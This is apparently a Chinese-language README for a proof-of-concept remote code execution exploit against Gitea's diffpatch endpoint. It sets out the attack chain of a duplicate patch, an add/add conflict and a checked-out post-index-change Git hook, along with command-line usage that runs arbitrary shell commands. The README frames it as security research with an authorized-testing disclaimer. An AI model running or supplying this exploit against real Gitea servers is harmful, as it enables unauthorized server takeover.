Gitea diffpatch 端点远程代码执行 PoC。拥有仓库写权限的账户(开放注册实例上匿名注册即可)即可在服务器上以 Gitea 服务账户执行任意 shell 命令。
POST /api/v1/repos/{owner}/{repo}/diffpatch 在共享的 bare 临时克隆仓库中应用攻击者控制的补丁:
git apply --index --recount --cached --binary # Git ≥ 2.32 时追加 -3 三路合并回退
攻击链:同一个补丁提交两次 → add/add 冲突 → 三路合并回退把索引路径 checkout 出来(即使带 --cached)→ 在 bare 仓库中 root = $GIT_DIR,checkout 出的 hooks/post-index-change(100755)成为活动 Git hook → Git 写索引时自动执行 → RCE。
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H470d34b1)-3 三路合并)diffpatch 端点可用# 设置账户密码
export GITEA_PASSWORD='account-password'
python3 gitea_diffpatch_rce_poc.py \
https://<gitea-base-url> \
<username> \
'id; uname -srm; pwd'
| 参数 | 说明 |
|---|---|
url | Gitea 基础 URL |
username | 已存在的 Gitea 用户名(可用性:默认开放注册) |
command | 要在目标上执行的 shell 命令 |
GITEA_PASSWORD | 账户密码(环境变量,或交互输入) |
依赖:Python 3 + 本机 git 客户端。
PoC 流程:认证 → 创建私有初始化仓库 → 构造 hooks/post-index-change 补丁 → 连续两次投递到 diffpatch(触发 add/add 冲突)→ Git 执行 hook → 通过认证 Smart HTTP 取回命令输出。无出站回调,输出带内回传。
仅供安全研究、漏洞验证与防御性测试使用。该 PoC 会在目标实例创建仓库、提交补丁并触发服务端命令执行,请在自建测试实例中运行,勿对未授权或生产环境使用。